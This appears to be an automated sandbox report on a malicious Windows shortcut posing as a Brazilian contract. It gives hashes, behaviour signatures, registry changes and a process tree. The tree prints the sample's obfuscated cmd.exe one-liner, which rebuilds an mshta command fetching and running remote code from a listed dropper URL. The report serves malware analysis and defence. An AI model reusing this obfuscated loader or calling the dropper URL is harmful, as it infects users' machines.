d597030290c44129a7280f3506072d2c31eb79b72c59cbce18727424d26d06f1

General

Target
Contrato_Indeniza_Brasil-PHD83E.lnk
Size 2KB
Sample260803-py3dasbk7t
SHA256 d597030290c44129a7280f3506072d2c31eb79b72c59cbce18727424d26d06f1
MD5 bab386f46f887a0ace02c238c0863b4d
SHA1 d494fe3288cb65f6bbdd722e8e4389110142fa6b
SHA512 acde90f2970812c22f785c6911ef3c6a5b6a316e42b01f79770e995285f0b8541e8ae3988f05380ef2a33790814a69b75db57b05b815a9ea6a9a6535a9326d84
TLSH
T1515134803EEA0198F3BB9E7AD9FE7711497BF9516D60C9DC4850C10D0562F01E972B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	3660	mshta.exe
7	3660	mshta.exe
10	3660	mshta.exe
24	3660	mshta.exe
26	3660	mshta.exe
37	3660	mshta.exe
38	3660	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4092	cmd.exe
2136	cmd.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4876	rundll32.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4092 wrote to memory of 2136	4092	cmd.exe	89
PID 2136 wrote to memory of 3660	2136	cmd.exe	90
PID 3660 wrote to memory of 4876	3660	mshta.exe	101
PID 4876 wrote to memory of 4892	4876	rundll32.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-PHD83E.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4092
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set bLmtI=netrdkpppywcwfjfcboggnet&set gDew=cacheqdwsztxnysvatgdhphtcache&set XXDX=5s0&&set UJ=qy6tgk&&set BSpqG=g6artt&set Pwc=sysbolasxpgsys&set wuSOQ=ulmw6v&&set LtfXw=wshenz&&set rJ=dxtato&set UmlKj=cfgfsswyluwttacfg&set voqQ=cacheuwhdzseyawzfscache&set lLtor=cfglwkwunvgaeetmcfg&set Dgk=cfgaxeyohaxtfmgygpcfg&set EXNBG=netjuawbdyostczcxxgxbmhnet&set WGgp=tmpipgaayatmp&set BK=tmpyaybxhaestmp&&set wS=h@ttps:@//@a@g@l@o@b@a@[email protected]@om/@h@/es@ta@[email protected]@?r=@271E62F@D4093C@D@4@D6@D&&start /b !wuSOQ:~2,1!!LtfXw:~1,2!!rJ:~2,2! !wS:@=!&&set fsC=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4876
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:4892